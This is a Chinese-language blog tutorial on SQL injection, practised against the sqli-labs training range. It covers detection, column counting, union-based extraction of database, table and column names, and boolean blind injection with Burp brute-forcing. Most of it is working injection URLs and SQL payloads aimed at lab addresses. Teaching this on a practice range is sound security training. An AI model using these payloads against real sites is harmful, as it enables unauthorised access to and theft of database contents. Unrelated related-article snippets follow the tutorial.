SQL注入-上篇

SQL注入

注入是web安全的头号大敌。注入攻击漏洞往往是应用程序缺少对输入进行安全性检查所引起的。攻击者把一些包含攻击代码当做命令或者查询语句发送给解释器,这些恶意数据可以欺骗解释器,从而执行计划外的命令或者未授权访问数据。注入漏洞通常能sql查询,ldap查询,os命令,程序参数等中出现。

SQL注入常用函数

version() #数据库版本
database() 当前数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本# 字符串函数
length() # 返回字符串长度
mid() left() right() substr() # 截取字符串
concat() # 没有分隔符连接字符串
concat_ws() # 含有分隔符连接字符串
group_concat() # 连接一个组的字符串
ord() # 返回ASCII码
ascii() # 字符转ascii码
md5() #返回md5值
floor(x) # 不大于x的最大整数
round(x) # 返回参数x接近的整数
rand(x) # 0-1之间的随机浮点数
sleep() #睡眠时间
if(true,t,f) # IF# 重要的数据库
information_schema # 包含mysql中所有数据库信息
# 重要的表
schemate # mysql中所有数据库的信息schema_name #所有的数据库名
tables # 数据库表中的信息table_name #记录数据表名
columns #列信息column_name #字段名

示例:

use `security`;
# 查询mysql 中的所有数据库
# 结果 :information_schema,challenges,dvwa,mysql,performance_schema,security,test
select GROUP_CONCAT(SCHEMA_NAME ) from information_schema.SCHEMATA ;# 查询 security数据库中的所有表
# 结果:emails,referers,uagents,users
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = database();# 查询security数据库中users表的的字段信息
# 结果:id,username,password
select GROUP_CONCAT(column_name) from information_schema.COLUMNS where TABLE_SCHEMA= database() and table_name='users';

注入流程

1 使用单引号判断是字符型还是数字型
类型选择
2  有显示位:union
3  无显示位:但是网页会根据代码而改变: 布尔盲注
4  无显示位,网页也不会变化,具体看网站的回显时间:时间盲注

注入检测

一、字符型检测(Less-1)

源SQL:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

  1. 在url后拼接单引号
# Less-1
# url编码: %27表示'
# 页面不出现sql错误,则可以注入
http://10.196.93.56/sqli-labs/Less-1/?id=3%27
  1. url拼接通用条件
# Less-1
# -- - 表示mysql注释信息
# and 1=1 (通用条件,永远为True)
http://10.196.93.56/sqli-labs/Less-1/?id=1 ' and 1=1 -- -# 或
http://10.196.93.56/sqli-labs/Less-1/?id=' or 1=1 -- -

二、数字型注入检测(Less-2)

源SQL:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

# 拼接单引号
http://10.196.93.56/sqli-labs/Less-2/?id=1# 结果:报错 
# You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1# 添加注释信息
http://10.196.93.56/sqli-labs/Less-2/?id=1 -- -
# 结果:成功# 数字型
http://10.196.93.56/sqli-labs/Less-2/?id=1 or 1=1
# 结果:成功

三、搜索型注入探测

image.png

四、xx型注入探测

image.png

sqli-labs靶场搭建

  1. 下载地址:https://github.com/Audi-1/sqli-labs
  2. 下载完成后将文件夹放入到Apache根目录中。
    1. 例如:E:\PHP\httpd-2.4.59-240605-win64-VS17\Apache24\htdocs\sqli-labs
    2. sqli-labs为靶机目录
    3. 访问:http://localhost:8099/sqli-labs/index.html
      image.png
  3. 修改数据库配置:
# 位置:E:\PHP\httpd-2.4.59-240605-win64-VS17\Apache24\htdocs\sqli-labs\sql-connections\db-creds.inc
# 修改数据库连接信息<?php//give your mysql connection username n password
$dbuser ='root';
$dbpass ='root';
$dbname ="security";
$host = '127.0.0.1';
$dbname1 = "challenges";?>
  1. 网站初始化
    1. 进入到页面,点击setup连接
      1. 若失败可能原因:
        1. mysql版本太高,切换到5点几版本
        2. php版本使用7以下
        3. 没有配置数据库信息
      2. 初始化成功页面
        image.png

union注入

关键字union,作用就是将多条查询语句的结果合并成一个结果集。

一、查询示例

# mysql 两种注释方法:# 和--
# 两种注释方法都是单行注释,如果换行了注释则不生效。use `security`;
select * from users where 1=1 #
union select 1,1,2 ;
# 结果 // 1	Dumb	Dumb
// 2	Angelina	I-kill-you
// 3	Dummy	p@ssword
// 4	secure	crappy
// 5	stupid	stupidity
// 6	superman	genious
// 7	batman	mob!le
// 8	admin	admin
// 1	1	2

二、判断列数(Less-1)

# 使用order by 或group by
# 从1开始,直到报错,即可知道列数
http://10.196.93.56/sqli-labs/Less-1/?id=1' order by 4 -- 
# 返回结果:Unknown column '4' in 'order clause'http://10.196.93.56/sqli-labs/Less-1/?id=1' order by 3 -- 
#返回结果:正常

三:union注入(Less-1)

  1. 显示位判断
# 让前一条sql语句查询不到值,从而从后面的sql语句显示在页面上
http://10.196.93.56/sqli-labs/Less-1/?id=3333' union select 1,2,3 -- 

image.png

  1. 查询数据库当前用户
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1,user(),3  -- -

image.png

  1. 查询当前数据库
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1,database(),3  -- -

image.png

  1. 查询mysql中的所有数据库
    1. 方法一:limit
# 数据库:information_schema
# 查询所有数据库语句
# select SCHEMA_NAME from information_schema.SCHEMATA 
# 因为页面只显示一条数据,所以使用limit 来切换数据
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1, (select SCHEMA_NAME from information_schema.SCHEMATA limit 2,1) ,3  -- -
# 使用字符串连接符:group_concat()

image.png

  1. 方法二:group_concat()
# 使用GROUP_CONCAT()方法将查询的数据连接成一行
# select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA 
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1, (select  GROUP_CONCAT(SCHEMA_NAME ) from information_schema.SCHEMATA ) ,3  -- -

image.png

  1. 查询security数据库中的表名字
# 查询 security数据库中的所有表
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = 'security';
#或 database() 表示当前数据库
select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = database();
# 注入
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1, (select group_concat(table_name) tables from information_schema.TABLES where TABLE_SCHEMA = 'security') ,3  -- -

image.png

  1. 查询security数据库中users表的的字段信息
# sql语句
select GROUP_CONCAT(column_name) from information_schema.COLUMNS where TABLE_SCHEMA= database() and table_name='users';
# 注入
http://10.196.93.56/sqli-labs/Less-1/?id=-1' union select 1,(select GROUP_CONCAT(column_name) from information_schema.COLUMNS where TABLE_SCHEMA= database() and table_name='users'),3  -- -

image.png

SQL盲注

模拟环境:Less-1 、Less-8
修改页面:
image.png

一、概述

盲注是指在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入,盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。

二、布尔盲注

  1. 需要用到的sql函数
length() # 字符长度
Substr() # 截取字符
ascii()  # 返回ascii编码
sleep(n) # 睡眠
if(条件,True,False) #判断
  1. 是否能注入判断方法(都是使用单引号判断)
    1. 源SQL:"SELECT * FROM users WHERE id='$id' LIMIT 0,1"
http://10.196.93.56/sqli-labs/Less-1/?id=1' -- 

image.png

  1. 猜测出数据库的长度位数
# 通过多次查看显示的值来判断数据库的长度
# 结果:8
SELECT * FROM users WHERE id= '1' and length(database())=8  LIMIT 0,1
# 注入:
http://10.196.93.56/sqli-labs/Less-1/?id=1'  and length(database())=8 -- 

image.png

  1. 猜测当前数据库的名称
# 通过将substr()函数分别截取名称字符,在将字符转为ascill码,通过数字判断进行爆破# 结果为:115
select ascii(substr( database(),1,1))#sql 
use security;
select * from users where id ='1' and ascii(substr(database(),1,1)) =115# 注入
http://10.196.93.56/sqli-labs/Less-1/?id=' or ascii(substr(database(),1,1)) =115 -- 

image.png

  1. 使用burp 进行数据库名称爆破
    1. 抓包并发送到爆破模块
      1. image.png
    2. 选择各种组合模式并设置变量
      1. url:/sqli-labs/Less-1/?id=%27or%20substr(database(),§1§,1)=%20"§s§"%20%20%23
      2. image.png
    3. 变量1设置
      1. image.png
    4. 变量s设置
      1. image.png
    5. 开始爆破
      1. 长度为890的则为正确字符,通过组合则可以得到真实数据库名称
      2. image.png
  2. 查询security 数据库中有多少张表
    1. 4张
#sql 
select * from security.users where id ='1' and (select count(*) from information_schema.tables where `TABLES`.table_schema ='security')=4 --
#注入
http://10.196.93.67/sqli-labs/Less-1/?id=1 ' and   (select count(*) from information_schema.tables where `TABLES`.table_schema ='security')=4 --  
  1. 查询数据库中的表名
    1. emails/referers/uagents/users
# sql
select * from security.users where id ='1'  and substr((select table_name from information_schema.tables where `TABLES`.table_schema ='security' limit 0,1),2,1)="e" --
# 注入
http://10.196.93.67/sqli-labs/Less-1/?id= ' or  substr((select table_name from information_schema.tables where `TABLES`.table_schema ='security' limit 0,1),1,1)="e" -- 
  1. 查询emails表的字段长度
    1. 字段个数
# sql
select * from `security`.users where id="1" and (select count(*) from information_schema.`COLUMNS` where TABLE_NAME='emails') =2 -- 
# 注入
http://10.196.93.67/sqli-labs/Less-1/?id=1 ' and  (select count(*) from information_schema.`COLUMNS` where TABLE_NAME='emails') =2 -- 
  1. 查询emails表的字段名
    1. id …
# sql
select * from `security`.users where id="1" and substr((select COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME='emails' limit 0,1),1,1)='i' --
# 注入
http://10.196.93.67/sqli-labs/Less-1/?id=1 ' and substr((select COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME='emails' limit 0,1),1,1)='i' -- 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/28980.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL约束详解:构建数据完整性基石

目录 MySQL约束1.1 约束1.1 数据类型1.2 主键约束[重要]1.3 自增约束1.4 唯一约束1.5 非空约束1.6 默认值代码演示 1.7 外键约束[了解]思维导图最后 MySQL约束 MySQL作为广泛使用的开源关系型数据库管理系统&#xff0c;其强大的数据约束功能对于维护数据的一致性和准确性至关…

4.类,方法,对象

1.1.2. 面向对象程序设计的三大特征 1.1.2.1. 封装 面向对象编程核心思想之一就是将数据和对数据的操作封装在一起&#xff0c;形成一般的概念&#xff0c;比如类的概念。 1.1.2.2. 继承 继承体现了一种先进的编程模式。子类可以继承父类的属性和方法。 1.1.2.3. 多态 多…

Day 44 Ansible自动化运维

Ansible自动化运维 几种常用运维工具比较 ​ Puppet ​ —基于 Ruby 开发,采用 C/S 架构,扩展性强,基于 SSL,远程命令执行相对较弱ruby ​ SaltStack ​ —基于 Python 开发,采用 C/S 架构,相对 puppet 更轻量级,配置语法使用 YAML,使得配置脚本更简单 ​ Ansible ​ —基于 …

Python学习笔记12:进阶篇(一),类的相关知识

前言 在讲类之前&#xff0c;我们简单介绍一些Python的知识。这些知识在入门篇没讲&#xff0c;想学Python的&#xff0c;基本都对Python有基础的了解&#xff0c;但是今天开始的进阶知识&#xff0c;会涉及到一些Python的特性&#xff0c;所以在这里介绍一下。 Python是一种高…

C语言中的内存分配方式(静态分配、动态分配)定义以及区别

在C语言中&#xff0c;内存分配主要有两种方式&#xff1a;静态分配&#xff08;Static Allocation&#xff09;和动态分配&#xff08;Dynamic Allocation&#xff09;。这两种方式在程序运行时对内存的管理和使用有着不同的特点和用途。 1. 静态分配&#xff08;Static Allo…

Unity2D游戏制作入门 | 13 ( 之人物三段攻击 )

上期链接&#xff1a;Unity2D游戏制作入门 | 12(之人物受伤和死亡的逻辑动画)-CSDN博客 上期我们聊了人物的受伤和死亡的逻辑和动画&#xff0c;我们主要学习了事件的执行&#xff0c;即我们在人物受伤时可能会触发很多的事件&#xff0c;比如触发人物受伤的动画以及播放音乐等…

LabVIEW电表改装与校准仿真系统

LabVIEW开发的电表改装与校准仿真实验平台不仅简化了传统的物理实验流程&#xff0c;而且通过虚拟仿真提高了实验的效率和安全性。该平台通过模拟电表改装与校准的各个步骤&#xff0c;允许学生在没有实际硬件的情况下完成实验&#xff0c;有效地结合了理论学习和实践操作。 项…

计算机组成原理(三)

文章目录 只读存储器和闪速存储器ROM 只读存储器光擦可编程只读存储器(EPROM) 闪速存储器 并行存储器双端口存储器多模块交叉存储器定量分析 相联存储器 只读存储器和闪速存储器 ROM 只读存储器 ROM ,只能读出不能写入&#xff0c;最大的优点是不易失性。 光擦可编程只读存储器…

Spring Security+Spring Boot实现登录认证以及权限认证

基本概念 “Authentication(认证)”是spring security框架中最重要的功能之一&#xff0c;所谓认证&#xff0c;就是对当前访问系统的用户给予一个合法的身份标识&#xff0c;用户只有通过认证才可以进入系统&#xff0c;在物理世界里&#xff0c;有点类似于“拿工卡刷门禁”的…

homework 2024.06.17 math, UI

A的宽度225 B的宽度150 这样画出来就比较标准&#xff0c; 225 * 2 150 * 3 2A 3B

【排序算法】希尔排序详解(C语言)

文章目录 前言希尔排序的原理原理思路 代码实现希尔排序的相关问题效率算法稳定性 前言 为什么会有希尔排序&#xff0c;要从插入排序说起&#xff0c;希尔排序一开始设计出来是为了改进插入排序&#xff0c;因为插入排序在处理大量数据时效率不高&#xff0c;特别是对于近乎有…

【MySQL】MySQL数据库基础|数据库的操作|常用数据类型|表的操作

目录 一、数据库的操作&#xff08;针对“数据集合”的操作&#xff09; 1.显示当前的数据库 2.创建数据库 3.使用数据库 4.删除数据库 二、常用数据类型 1.数值类型 2.字符串类型 3.日期类型 三、表的操作 1.列出当前数据库的表 2.创建表 3.查看表结构 4.删除表…

11.5.k8s中pod的调度-cordon,drain,delete

目录 一、概念 二、使用 1.cordon 停止调度 1.1.停止调度 1.2.解除恢复 2.drain 驱逐节点 2.1.驱逐节点 2.2.参数介绍 2.3.解除恢复 3.delete 删除节点 一、概念 cordon节点&#xff0c;drain驱逐节点&#xff0c;delete 节点&#xff0c;在对k8s集群节点执行维护&am…

CesiumJS【Basic】- #006 浏览器控制台查看位置角度

文章目录 浏览器控制台查看位置角度1 目标 浏览器控制台查看位置角度 1 目标 浏览器控制台查看位置角度

【ai】pycharm 配置直接运行远程代码

Jetbrains Gateway适合远程开发机比较固定的情况。 【ai】pycharm远程ssh开发 这种实际是本地代码同步过去跑。 类似vs 也是这样的 但是vscode 是直接远程访问,远程编辑并运行。 pycharm 看起来也是支持的。 就是麻烦一点。 参考这里 主要参考这位大神的:python开发之远程开发…

在 React 中使用 ArcGIS JavaScript SDK 构建地图应用

创建React工程 $ npx install -g create-react-app $ create-react-app my-react-arcgis-app $ cd my-react-arcgis-app $ npm start安装ArcGIS库 $ npm install arcgis/core创建ArcGIS地图组件 import React, { useEffect, useRef } from react; import Map from arcgis/co…

Vue3源码【二】—— watch侦听computed计算属性原理及简单实现

1、watch监听器 1.1、使用watch watch 需要侦听特定的数据源&#xff0c;并在单独的回调函数中执行副作用&#xff0c;然后下面就是使用watch的一个说明。 小声逼逼&#xff1a;我还是习惯用监听&#xff0c;后面的监听也就是侦听。 /*** param source 监听对象* …

KVB:怎么样选择最优交易周期?

摘要 在金融交易中&#xff0c;周期的选择是影响交易成败的重要因素之一。不同的交易周期对应不同的市场环境和交易策略&#xff0c;选择合适的周期可以提高交易的成功率。本文将详细探讨交易中如何选择最优周期&#xff0c;包括短周期、中周期和长周期的特点及适用情况&#…

软考系统规划与管理师伴读脑图第9章

周末发系统规划与管理师的试听视频&#xff0c;占用了发送次数&#xff0c;所以上周的脑图推迟了今天发出。 不知不觉已经发到了第9章&#xff0c;感叹这就是坚持积累下来的力量&#xff0c;其实考试也是一样的道理。

c++深拷贝、浅拷贝

在 C 中&#xff0c;深拷贝和浅拷贝是两个重要的概念&#xff0c;尤其在涉及动态内存分配和指针成员时。这两个概念描述了对象复制时的行为。 浅拷贝 浅拷贝是指复制对象时&#xff0c;仅复制对象的基本数据成员&#xff0c;对于指针成员&#xff0c;只复制指针地址&#xff…